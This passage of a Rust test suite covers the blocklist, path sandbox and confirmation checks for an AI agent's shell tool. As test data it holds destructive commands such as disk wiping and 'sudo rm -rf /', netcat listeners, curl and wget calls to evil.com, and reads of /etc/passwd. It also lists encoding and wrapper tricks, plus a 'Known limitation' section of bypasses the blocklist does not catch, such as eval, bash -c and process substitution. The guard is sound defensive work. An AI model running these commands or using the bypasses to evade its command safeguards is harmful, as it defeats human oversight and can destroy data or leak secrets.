1034            executor
1035                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1036                .is_some()
1037        );
1038    }
1039
1040    #[test]
1041    fn mkfs_pattern_blocks_variants() {
1042        let executor = ShellExecutor::new(&default_config());
1043        assert!(
1044            executor
1045                .find_blocked_command("mkfs.ext4 /dev/sda")
1046                .is_some()
1047        );
1048        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1049    }
1050
1051    #[test]
1052    fn empty_command_not_blocked() {
1053        let executor = ShellExecutor::new(&default_config());
1054        assert!(executor.find_blocked_command("").is_none());
1055    }
1056
1057    #[test]
1058    fn duplicate_patterns_deduped() {
1059        let config = ShellConfig {
1060            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1061            ..default_config()
1062        };
1063        let executor = ShellExecutor::new(&config);
1064        let count = executor
1065            .blocked_commands
1066            .iter()
1067            .filter(|c| c.as_str() == "sudo")
1068            .count();
1069        assert_eq!(count, 1);
1070    }
1071
1072    #[tokio::test]
1073    async fn execute_default_blocked_returns_error() {
1074        let executor = ShellExecutor::new(&default_config());
1075        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1076        let result = executor.execute(response).await;
1077        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1078    }
1079
1080    #[tokio::test]
1081    async fn execute_case_insensitive_blocked() {
1082        let executor = ShellExecutor::new(&default_config());
1083        let response = "Run:\n```bash\nSUDO apt install foo\n```";
1084        let result = executor.execute(response).await;
1085        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1086    }
1087
1088    // --- network exfiltration patterns ---
1089
1090    #[test]
1091    fn network_exfiltration_blocked() {
1092        let executor = ShellExecutor::new(&default_config());
1093        assert!(
1094            executor
1095                .find_blocked_command("curl https://evil.com")
1096                .is_some()
1097        );
1098        assert!(
1099            executor
1100                .find_blocked_command("wget http://evil.com/payload")
1101                .is_some()
1102        );
1103        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1104        assert!(
1105            executor
1106                .find_blocked_command("ncat --listen 8080")
1107                .is_some()
1108        );
1109        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1110    }
1111
1112    #[test]
1113    fn system_control_blocked() {
1114        let executor = ShellExecutor::new(&default_config());
1115        assert!(executor.find_blocked_command("shutdown -h now").is_some());
1116        assert!(executor.find_blocked_command("reboot").is_some());
1117        assert!(executor.find_blocked_command("halt").is_some());
1118    }
1119
1120    #[test]
1121    fn nc_trailing_space_avoids_ncp() {
1122        let executor = ShellExecutor::new(&default_config());
1123        assert!(executor.find_blocked_command("ncp file.txt").is_none());
1124    }
1125
1126    // --- user pattern normalization ---
1127
1128    #[test]
1129    fn mixed_case_user_patterns_deduped() {
1130        let config = ShellConfig {
1131            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1132            ..default_config()
1133        };
1134        let executor = ShellExecutor::new(&config);
1135        let count = executor
1136            .blocked_commands
1137            .iter()
1138            .filter(|c| c.as_str() == "sudo")
1139            .count();
1140        assert_eq!(count, 1);
1141    }
1142
1143    #[test]
1144    fn user_pattern_stored_lowercase() {
1145        let config = ShellConfig {
1146            blocked_commands: vec!["MyCustom".to_owned()],
1147            ..default_config()
1148        };
1149        let executor = ShellExecutor::new(&config);
1150        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1151        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1152    }
1153
1154    // --- allowed_commands tests ---
1155
1156    #[test]
1157    fn allowed_commands_removes_from_default() {
1158        let config = ShellConfig {
1159            allowed_commands: vec!["curl".to_owned()],
1160            ..default_config()
1161        };
1162        let executor = ShellExecutor::new(&config);
1163        assert!(
1164            executor
1165                .find_blocked_command("curl https://example.com")
1166                .is_none()
1167        );
1168        assert!(executor.find_blocked_command("sudo rm").is_some());
1169    }
1170
1171    #[test]
1172    fn allowed_commands_case_insensitive() {
1173        let config = ShellConfig {
1174            allowed_commands: vec!["CURL".to_owned()],
1175            ..default_config()
1176        };
1177        let executor = ShellExecutor::new(&config);
1178        assert!(
1179            executor
1180                .find_blocked_command("curl https://example.com")
1181                .is_none()
1182        );
1183    }
1184
1185    #[test]
1186    fn allowed_does_not_override_explicit_block() {
1187        let config = ShellConfig {
1188            blocked_commands: vec!["curl".to_owned()],
1189            allowed_commands: vec!["curl".to_owned()],
1190            ..default_config()
1191        };
1192        let executor = ShellExecutor::new(&config);
1193        assert!(
1194            executor
1195                .find_blocked_command("curl https://example.com")
1196                .is_some()
1197        );
1198    }
1199
1200    #[test]
1201    fn allowed_unknown_command_ignored() {
1202        let config = ShellConfig {
1203            allowed_commands: vec!["nonexistent-cmd".to_owned()],
1204            ..default_config()
1205        };
1206        let executor = ShellExecutor::new(&config);
1207        assert!(executor.find_blocked_command("sudo rm").is_some());
1208        assert!(
1209            executor
1210                .find_blocked_command("curl https://example.com")
1211                .is_some()
1212        );
1213    }
1214
1215    #[test]
1216    fn empty_allowed_commands_changes_nothing() {
1217        let executor = ShellExecutor::new(&default_config());
1218        assert!(
1219            executor
1220                .find_blocked_command("curl https://example.com")
1221                .is_some()
1222        );
1223        assert!(executor.find_blocked_command("sudo rm").is_some());
1224        assert!(
1225            executor
1226                .find_blocked_command("wget http://evil.com")
1227                .is_some()
1228        );
1229    }
1230
1231    // --- Phase 1: sandbox tests ---
1232
1233    #[test]
1234    fn extract_paths_from_code() {
1235        let paths = extract_paths("cat /etc/passwd && ls /var/log");
1236        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1237    }
1238
1239    #[test]
1240    fn extract_paths_handles_trailing_chars() {
1241        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1242        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1243    }
1244
1245    #[test]
1246    fn extract_paths_detects_relative() {
1247        let paths = extract_paths("cat ./file.txt ../other");
1248        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1249    }
1250
1251    #[test]
1252    fn sandbox_allows_cwd_by_default() {
1253        let executor = ShellExecutor::new(&default_config());
1254        let cwd = std::env::current_dir().unwrap();
1255        let cwd_path = cwd.display().to_string();
1256        let code = format!("cat {cwd_path}/file.txt");
1257        assert!(executor.validate_sandbox(&code).is_ok());
1258    }
1259
1260    #[test]
1261    fn sandbox_rejects_path_outside_allowed() {
1262        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1263        let executor = ShellExecutor::new(&config);
1264        let result = executor.validate_sandbox("cat /etc/passwd");
1265        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1266    }
1267
1268    #[test]
1269    fn sandbox_no_absolute_paths_passes() {
1270        let config = sandbox_config(vec!["/tmp".into()]);
1271        let executor = ShellExecutor::new(&config);
1272        assert!(executor.validate_sandbox("echo hello").is_ok());
1273    }
1274
1275    #[test]
1276    fn sandbox_rejects_dotdot_traversal() {
1277        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1278        let executor = ShellExecutor::new(&config);
1279        let result = executor.validate_sandbox("cat ../../../etc/passwd");
1280        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1281    }
1282
1283    #[test]
1284    fn sandbox_rejects_bare_dotdot() {
1285        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1286        let executor = ShellExecutor::new(&config);
1287        let result = executor.validate_sandbox("cd ..");
1288        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1289    }
1290
1291    #[test]
1292    fn sandbox_rejects_relative_dotslash_outside() {
1293        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1294        let executor = ShellExecutor::new(&config);
1295        let result = executor.validate_sandbox("cat ./secret.txt");
1296        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1297    }
1298
1299    #[test]
1300    fn sandbox_rejects_absolute_with_embedded_dotdot() {
1301        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1302        let executor = ShellExecutor::new(&config);
1303        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1304        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1305    }
1306
1307    #[test]
1308    fn has_traversal_detects_dotdot() {
1309        assert!(has_traversal("../etc/passwd"));
1310        assert!(has_traversal("./foo/../bar"));
1311        assert!(has_traversal("/tmp/sandbox/../../etc"));
1312        assert!(has_traversal(".."));
1313        assert!(!has_traversal("./safe/path"));
1314        assert!(!has_traversal("/absolute/path"));
1315        assert!(!has_traversal("no-dots-here"));
1316    }
1317
1318    #[test]
1319    fn extract_paths_detects_dotdot_standalone() {
1320        let paths = extract_paths("cd ..");
1321        assert_eq!(paths, vec!["..".to_owned()]);
1322    }
1323
1324    // --- Phase 1: allow_network tests ---
1325
1326    #[test]
1327    fn allow_network_false_blocks_network_commands() {
1328        let config = ShellConfig {
1329            allow_network: false,
1330            ..default_config()
1331        };
1332        let executor = ShellExecutor::new(&config);
1333        assert!(
1334            executor
1335                .find_blocked_command("curl https://example.com")
1336                .is_some()
1337        );
1338        assert!(
1339            executor
1340                .find_blocked_command("wget http://example.com")
1341                .is_some()
1342        );
1343        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1344    }
1345
1346    #[test]
1347    fn allow_network_true_keeps_default_behavior() {
1348        let config = ShellConfig {
1349            allow_network: true,
1350            ..default_config()
1351        };
1352        let executor = ShellExecutor::new(&config);
1353        // Network commands are still blocked by DEFAULT_BLOCKED
1354        assert!(
1355            executor
1356                .find_blocked_command("curl https://example.com")
1357                .is_some()
1358        );
1359    }
1360
1361    // --- Phase 2a: confirmation tests ---
1362
1363    #[test]
1364    fn find_confirm_command_matches_pattern() {
1365        let config = ShellConfig {
1366            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1367            ..default_config()
1368        };
1369        let executor = ShellExecutor::new(&config);
1370        assert_eq!(
1371            executor.find_confirm_command("rm /tmp/file.txt"),
1372            Some("rm ")
1373        );
1374        assert_eq!(
1375            executor.find_confirm_command("git push -f origin main"),
1376            Some("git push -f")
1377        );
1378    }
1379
1380    #[test]
1381    fn find_confirm_command_case_insensitive() {
1382        let config = ShellConfig {
1383            confirm_patterns: vec!["drop table".into()],
1384            ..default_config()
1385        };
1386        let executor = ShellExecutor::new(&config);
1387        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1388    }
1389
1390    #[test]
1391    fn find_confirm_command_no_match() {
1392        let config = ShellConfig {
1393            confirm_patterns: vec!["rm ".into()],
1394            ..default_config()
1395        };
1396        let executor = ShellExecutor::new(&config);
1397        assert!(executor.find_confirm_command("echo hello").is_none());
1398    }
1399
1400    #[tokio::test]
1401    async fn confirmation_required_returned() {
1402        let config = ShellConfig {
1403            confirm_patterns: vec!["rm ".into()],
1404            ..default_config()
1405        };
1406        let executor = ShellExecutor::new(&config);
1407        let response = "```bash\nrm file.txt\n```";
1408        let result = executor.execute(response).await;
1409        assert!(matches!(
1410            result,
1411            Err(ToolError::ConfirmationRequired { .. })
1412        ));
1413    }
1414
1415    #[tokio::test]
1416    async fn execute_confirmed_skips_confirmation() {
1417        let config = ShellConfig {
1418            confirm_patterns: vec!["echo".into()],
1419            ..default_config()
1420        };
1421        let executor = ShellExecutor::new(&config);
1422        let response = "```bash\necho confirmed\n```";
1423        let result = executor.execute_confirmed(response).await;
1424        assert!(result.is_ok());
1425        let output = result.unwrap().unwrap();
1426        assert!(output.summary.contains("confirmed"));
1427    }
1428
1429    // --- default confirm patterns test ---
1430
1431    #[test]
1432    fn default_confirm_patterns_loaded() {
1433        let config = ShellConfig::default();
1434        assert!(!config.confirm_patterns.is_empty());
1435        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1436        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1437        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1438        assert!(config.confirm_patterns.contains(&"`".to_owned()));
1439    }
1440
1441    // --- bypass-resistant matching tests ---
1442
1443    #[test]
1444    fn backslash_bypass_blocked() {
1445        let executor = ShellExecutor::new(&default_config());
1446        // su\do -> sudo after stripping backslash
1447        assert!(executor.find_blocked_command("su\\do rm").is_some());
1448    }
1449
1450    #[test]
1451    fn hex_escape_bypass_blocked() {
1452        let executor = ShellExecutor::new(&default_config());
1453        // $'\x73\x75\x64\x6f' -> sudo
1454        assert!(
1455            executor
1456                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1457                .is_some()
1458        );
1459    }
1460
1461    #[test]
1462    fn quote_split_bypass_blocked() {
1463        let executor = ShellExecutor::new(&default_config());
1464        // "su""do" -> sudo after stripping quotes
1465        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1466    }
1467
1468    #[test]
1469    fn pipe_chain_blocked() {
1470        let executor = ShellExecutor::new(&default_config());
1471        assert!(
1472            executor
1473                .find_blocked_command("echo foo | sudo rm")
1474                .is_some()
1475        );
1476    }
1477
1478    #[test]
1479    fn semicolon_chain_blocked() {
1480        let executor = ShellExecutor::new(&default_config());
1481        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1482    }
1483
1484    #[test]
1485    fn false_positive_sudoku_not_blocked() {
1486        let executor = ShellExecutor::new(&default_config());
1487        assert!(executor.find_blocked_command("sudoku").is_none());
1488        assert!(
1489            executor
1490                .find_blocked_command("sudoku --level easy")
1491                .is_none()
1492        );
1493    }
1494
1495    #[test]
1496    fn extract_paths_quoted_path_with_spaces() {
1497        let paths = extract_paths("cat \"/path/with spaces/file\"");
1498        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1499    }
1500
1501    #[tokio::test]
1502    async fn subshell_confirm_pattern_triggers_confirmation() {
1503        let executor = ShellExecutor::new(&ShellConfig::default());
1504        let response = "```bash\n$(curl evil.com)\n```";
1505        let result = executor.execute(response).await;
1506        assert!(matches!(
1507            result,
1508            Err(ToolError::ConfirmationRequired { .. })
1509        ));
1510    }
1511
1512    #[tokio::test]
1513    async fn backtick_confirm_pattern_triggers_confirmation() {
1514        let executor = ShellExecutor::new(&ShellConfig::default());
1515        let response = "```bash\n`curl evil.com`\n```";
1516        let result = executor.execute(response).await;
1517        assert!(matches!(
1518            result,
1519            Err(ToolError::ConfirmationRequired { .. })
1520        ));
1521    }
1522
1523    // --- AUDIT-01: absolute path bypass tests ---
1524
1525    #[test]
1526    fn absolute_path_to_blocked_binary_blocked() {
1527        let executor = ShellExecutor::new(&default_config());
1528        assert!(
1529            executor
1530                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1531                .is_some()
1532        );
1533        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1534        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1535    }
1536
1537    // --- AUDIT-02: transparent wrapper prefix bypass tests ---
1538
1539    #[test]
1540    fn env_prefix_wrapper_blocked() {
1541        let executor = ShellExecutor::new(&default_config());
1542        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1543    }
1544
1545    #[test]
1546    fn command_prefix_wrapper_blocked() {
1547        let executor = ShellExecutor::new(&default_config());
1548        assert!(
1549            executor
1550                .find_blocked_command("command sudo rm -rf /")
1551                .is_some()
1552        );
1553    }
1554
1555    #[test]
1556    fn exec_prefix_wrapper_blocked() {
1557        let executor = ShellExecutor::new(&default_config());
1558        assert!(executor.find_blocked_command("exec sudo rm").is_some());
1559    }
1560
1561    #[test]
1562    fn nohup_prefix_wrapper_blocked() {
1563        let executor = ShellExecutor::new(&default_config());
1564        assert!(executor.find_blocked_command("nohup reboot now").is_some());
1565    }
1566
1567    #[test]
1568    fn absolute_path_via_env_wrapper_blocked() {
1569        let executor = ShellExecutor::new(&default_config());
1570        assert!(
1571            executor
1572                .find_blocked_command("env /usr/bin/sudo rm -rf /")
1573                .is_some()
1574        );
1575    }
1576
1577    // --- AUDIT-03: octal escape bypass tests ---
1578
1579    #[test]
1580    fn octal_escape_bypass_blocked() {
1581        let executor = ShellExecutor::new(&default_config());
1582        // $'\163\165\144\157' = sudo in octal
1583        assert!(
1584            executor
1585                .find_blocked_command("$'\\163\\165\\144\\157' rm")
1586                .is_some()
1587        );
1588    }
1589
1590    #[tokio::test]
1591    async fn with_audit_attaches_logger() {
1592        use crate::audit::AuditLogger;
1593        use crate::config::AuditConfig;
1594        let config = default_config();
1595        let executor = ShellExecutor::new(&config);
1596        let audit_config = AuditConfig {
1597            enabled: true,
1598            destination: "stdout".into(),
1599        };
1600        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1601        let executor = executor.with_audit(logger);
1602        assert!(executor.audit_logger.is_some());
1603    }
1604
1605    #[test]
1606    fn chrono_now_returns_valid_timestamp() {
1607        let ts = chrono_now();
1608        assert!(!ts.is_empty());
1609        let parsed: u64 = ts.parse().unwrap();
1610        assert!(parsed > 0);
1611    }
1612
1613    #[cfg(unix)]
1614    #[tokio::test]
1615    async fn execute_bash_injects_extra_env() {
1616        let mut env = std::collections::HashMap::new();
1617        env.insert(
1618            "ZEPH_TEST_INJECTED_VAR".to_owned(),
1619            "hello-from-env".to_owned(),
1620        );
1621        let (result, code) = execute_bash(
1622            "echo $ZEPH_TEST_INJECTED_VAR",
1623            Duration::from_secs(5),
1624            None,
1625            None,
1626            Some(&env),
1627        )
1628        .await;
1629        assert_eq!(code, 0);
1630        assert!(result.contains("hello-from-env"));
1631    }
1632
1633    #[cfg(unix)]
1634    #[tokio::test]
1635    async fn shell_executor_set_skill_env_injects_vars() {
1636        let config = ShellConfig {
1637            timeout: 5,
1638            allowed_commands: vec![],
1639            blocked_commands: vec![],
1640            allowed_paths: vec![],
1641            confirm_patterns: vec![],
1642            allow_network: false,
1643        };
1644        let executor = ShellExecutor::new(&config);
1645        let mut env = std::collections::HashMap::new();
1646        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1647        executor.set_skill_env(Some(env));
1648        use crate::executor::ToolExecutor;
1649        let result = executor
1650            .execute("```bash\necho $MY_SKILL_SECRET\n```")
1651            .await
1652            .unwrap()
1653            .unwrap();
1654        assert!(result.summary.contains("injected-value"));
1655        executor.set_skill_env(None);
1656    }
1657
1658    #[cfg(unix)]
1659    #[tokio::test]
1660    async fn execute_bash_error_handling() {
1661        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1662        assert_eq!(result, "(no output)");
1663        assert_eq!(code, 1);
1664    }
1665
1666    #[cfg(unix)]
1667    #[tokio::test]
1668    async fn execute_bash_command_not_found() {
1669        let (result, _) = execute_bash(
1670            "nonexistent-command-xyz",
1671            Duration::from_secs(5),
1672            None,
1673            None,
1674            None,
1675        )
1676        .await;
1677        assert!(result.contains("[stderr]") || result.contains("[error]"));
1678    }
1679
1680    #[test]
1681    fn extract_paths_empty() {
1682        assert!(extract_paths("").is_empty());
1683    }
1684
1685    #[tokio::test]
1686    async fn policy_deny_blocks_command() {
1687        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1688        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1689        let response = "```bash\nforbidden command\n```";
1690        let result = executor.execute(response).await;
1691        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1692    }
1693
1694    #[tokio::test]
1695    async fn policy_ask_requires_confirmation() {
1696        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1697        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1698        let response = "```bash\nrisky operation\n```";
1699        let result = executor.execute(response).await;
1700        assert!(matches!(
1701            result,
1702            Err(ToolError::ConfirmationRequired { .. })
1703        ));
1704    }
1705
1706    #[tokio::test]
1707    async fn policy_allow_skips_checks() {
1708        use crate::permissions::PermissionRule;
1709        use std::collections::HashMap;
1710        let mut rules = HashMap::new();
1711        rules.insert(
1712            "bash".to_owned(),
1713            vec![PermissionRule {
1714                pattern: "*".to_owned(),
1715                action: PermissionAction::Allow,
1716            }],
1717        );
1718        let policy = PermissionPolicy::new(rules);
1719        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1720        let response = "```bash\necho hello\n```";
1721        let result = executor.execute(response).await;
1722        assert!(result.is_ok());
1723    }
1724
1725    #[tokio::test]
1726    async fn blocked_command_logged_to_audit() {
1727        use crate::audit::AuditLogger;
1728        use crate::config::AuditConfig;
1729        let config = ShellConfig {
1730            blocked_commands: vec!["dangerous".to_owned()],
1731            ..default_config()
1732        };
1733        let audit_config = AuditConfig {
1734            enabled: true,
1735            destination: "stdout".into(),
1736        };
1737        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1738        let executor = ShellExecutor::new(&config).with_audit(logger);
1739        let response = "```bash\ndangerous command\n```";
1740        let result = executor.execute(response).await;
1741        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1742    }
1743
1744    #[test]
1745    fn tool_definitions_returns_bash() {
1746        let executor = ShellExecutor::new(&default_config());
1747        let defs = executor.tool_definitions();
1748        assert_eq!(defs.len(), 1);
1749        assert_eq!(defs[0].id, "bash");
1750        assert_eq!(
1751            defs[0].invocation,
1752            crate::registry::InvocationHint::FencedBlock("bash")
1753        );
1754    }
1755
1756    #[test]
1757    fn tool_definitions_schema_has_command_param() {
1758        let executor = ShellExecutor::new(&default_config());
1759        let defs = executor.tool_definitions();
1760        let obj = defs[0].schema.as_object().unwrap();
1761        let props = obj["properties"].as_object().unwrap();
1762        assert!(props.contains_key("command"));
1763        let req = obj["required"].as_array().unwrap();
1764        assert!(req.iter().any(|v| v.as_str() == Some("command")));
1765    }
1766
1767    #[tokio::test]
1768    #[cfg(not(target_os = "windows"))]
1769    async fn cancel_token_kills_child_process() {
1770        let token = CancellationToken::new();
1771        let token_clone = token.clone();
1772        tokio::spawn(async move {
1773            tokio::time::sleep(Duration::from_millis(100)).await;
1774            token_clone.cancel();
1775        });
1776        let (result, code) = execute_bash(
1777            "sleep 60",
1778            Duration::from_secs(30),
1779            None,
1780            Some(&token),
1781            None,
1782        )
1783        .await;
1784        assert_eq!(code, 130);
1785        assert!(result.contains("[cancelled]"));
1786    }
1787
1788    #[tokio::test]
1789    #[cfg(not(target_os = "windows"))]
1790    async fn cancel_token_none_does_not_cancel() {
1791        let (result, code) =
1792            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1793        assert_eq!(code, 0);
1794        assert!(result.contains("ok"));
1795    }
1796
1797    #[tokio::test]
1798    #[cfg(not(target_os = "windows"))]
1799    async fn cancel_kills_child_process_group() {
1800        use std::path::Path;
1801        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1802        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1803        let token = CancellationToken::new();
1804        let token_clone = token.clone();
1805        tokio::spawn(async move {
1806            tokio::time::sleep(Duration::from_millis(200)).await;
1807            token_clone.cancel();
1808        });
1809        let (result, code) =
1810            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1811        assert_eq!(code, 130);
1812        assert!(result.contains("[cancelled]"));
1813        // Wait briefly, then verify the subprocess did NOT create the marker file
1814        tokio::time::sleep(Duration::from_millis(500)).await;
1815        assert!(
1816            !Path::new(&marker).exists(),
1817            "subprocess should have been killed with process group"
1818        );
1819    }
1820
1821    #[tokio::test]
1822    #[cfg(not(target_os = "windows"))]
1823    async fn shell_executor_cancel_returns_cancelled_error() {
1824        let token = CancellationToken::new();
1825        let token_clone = token.clone();
1826        tokio::spawn(async move {
1827            tokio::time::sleep(Duration::from_millis(100)).await;
1828            token_clone.cancel();
1829        });
1830        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1831        let response = "```bash\nsleep 60\n```";
1832        let result = executor.execute(response).await;
1833        assert!(matches!(result, Err(ToolError::Cancelled)));
1834    }
1835
1836    #[tokio::test]
1837    #[cfg(not(target_os = "windows"))]
1838    async fn execute_tool_call_valid_command() {
1839        let executor = ShellExecutor::new(&default_config());
1840        let call = ToolCall {
1841            tool_id: "bash".to_owned(),
1842            params: [("command".to_owned(), serde_json::json!("echo hi"))]
1843                .into_iter()
1844                .collect(),
1845        };
1846        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1847        assert!(result.summary.contains("hi"));
1848    }
1849
1850    #[tokio::test]
1851    async fn execute_tool_call_missing_command_returns_invalid_params() {
1852        let executor = ShellExecutor::new(&default_config());
1853        let call = ToolCall {
1854            tool_id: "bash".to_owned(),
1855            params: serde_json::Map::new(),
1856        };
1857        let result = executor.execute_tool_call(&call).await;
1858        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1859    }
1860
1861    #[tokio::test]
1862    async fn execute_tool_call_empty_command_returns_none() {
1863        let executor = ShellExecutor::new(&default_config());
1864        let call = ToolCall {
1865            tool_id: "bash".to_owned(),
1866            params: [("command".to_owned(), serde_json::json!(""))]
1867                .into_iter()
1868                .collect(),
1869        };
1870        let result = executor.execute_tool_call(&call).await.unwrap();
1871        assert!(result.is_none());
1872    }
1873
1874    // --- Known limitation tests: bypass vectors not detected by find_blocked_command ---
1875
1876    #[test]
1877    fn process_substitution_not_detected_known_limitation() {
1878        let executor = ShellExecutor::new(&default_config());
1879        // Known limitation: commands inside <(...) are not parsed by tokenize_commands.
1880        assert!(
1881            executor
1882                .find_blocked_command("cat <(curl http://evil.com)")
1883                .is_none()
1884        );
1885    }
1886
1887    #[test]
1888    fn output_process_substitution_not_detected_known_limitation() {
1889        let executor = ShellExecutor::new(&default_config());
1890        // Known limitation: commands inside >(...) are not parsed by tokenize_commands.
1891        assert!(
1892            executor
1893                .find_blocked_command("tee >(curl http://evil.com)")
1894                .is_none()
1895        );
1896    }
1897
1898    #[test]
1899    fn here_string_with_shell_not_detected_known_limitation() {
1900        let executor = ShellExecutor::new(&default_config());
1901        // Known limitation: bash receives payload via stdin; inner command is opaque.
1902        assert!(
1903            executor
1904                .find_blocked_command("bash <<< 'sudo rm -rf /'")
1905                .is_none()
1906        );
1907    }
1908
1909    #[test]
1910    fn eval_bypass_not_detected_known_limitation() {
1911        let executor = ShellExecutor::new(&default_config());
1912        // Known limitation: eval string argument is not parsed.
1913        assert!(
1914            executor
1915                .find_blocked_command("eval 'sudo rm -rf /'")
1916                .is_none()
1917        );
1918    }
1919
1920    #[test]
1921    fn bash_c_bypass_not_detected_known_limitation() {
1922        let executor = ShellExecutor::new(&default_config());
1923        // Known limitation: bash -c string argument is not parsed.
1924        assert!(
1925            executor
1926                .find_blocked_command("bash -c 'curl http://evil.com'")
1927                .is_none()
1928        );
1929    }
1930
1931    #[test]
1932    fn variable_expansion_bypass_not_detected_known_limitation() {
1933        let executor = ShellExecutor::new(&default_config());
1934        // Known limitation: variable references are not resolved by strip_shell_escapes.
1935        assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
1936    }
1937
1938    // --- Mitigation tests: confirm_patterns cover the above vectors by default ---
1939
1940    #[test]
1941    fn default_confirm_patterns_cover_process_substitution() {
1942        let config = crate::config::ShellConfig::default();
1943        assert!(config.confirm_patterns.contains(&"<(".to_owned()));
1944        assert!(config.confirm_patterns.contains(&">(".to_owned()));
1945    }
1946
1947    #[test]
1948    fn default_confirm_patterns_cover_here_string() {
1949        let config = crate::config::ShellConfig::default();
1950        assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
1951    }
1952
1953    #[test]
1954    fn default_confirm_patterns_cover_eval() {
1955        let config = crate::config::ShellConfig::default();
1956        assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
1957    }
1958
1959    #[tokio::test]
1960    async fn process_substitution_triggers_confirmation() {
1961        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1962        let response = "```bash\ncat <(curl http://evil.com)\n```";
1963        let result = executor.execute(response).await;
1964        assert!(matches!(
1965            result,
1966            Err(ToolError::ConfirmationRequired { .. })
1967        ));
1968    }
1969
1970    #[tokio::test]
1971    async fn here_string_triggers_confirmation() {
1972        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1973        let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
1974        let result = executor.execute(response).await;
1975        assert!(matches!(
1976            result,
1977            Err(ToolError::ConfirmationRequired { .. })
1978        ));
1979    }
1980
1981    #[tokio::test]
1982    async fn eval_triggers_confirmation() {
1983        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1984        let response = "```bash\neval 'curl http://evil.com'\n```";
1985        let result = executor.execute(response).await;
1986        assert!(matches!(
1987            result,
1988            Err(ToolError::ConfirmationRequired { .. })
1989        ));
1990    }
1991
1992    #[tokio::test]
1993    async fn output_process_substitution_triggers_confirmation() {
1994        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1995        let response = "```bash\ntee >(curl http://evil.com)\n```";
1996        let result = executor.execute(response).await;
1997        assert!(matches!(
1998            result,
1999            Err(ToolError::ConfirmationRequired { .. })
2000        ));
2001    }
2002
2003    #[test]
2004    fn here_string_with_command_substitution_not_detected_known_limitation() {
2005        let executor = ShellExecutor::new(&default_config());
2006        // Known limitation: bash receives payload via stdin; inner command substitution is opaque.
2007        assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2008    }
2009}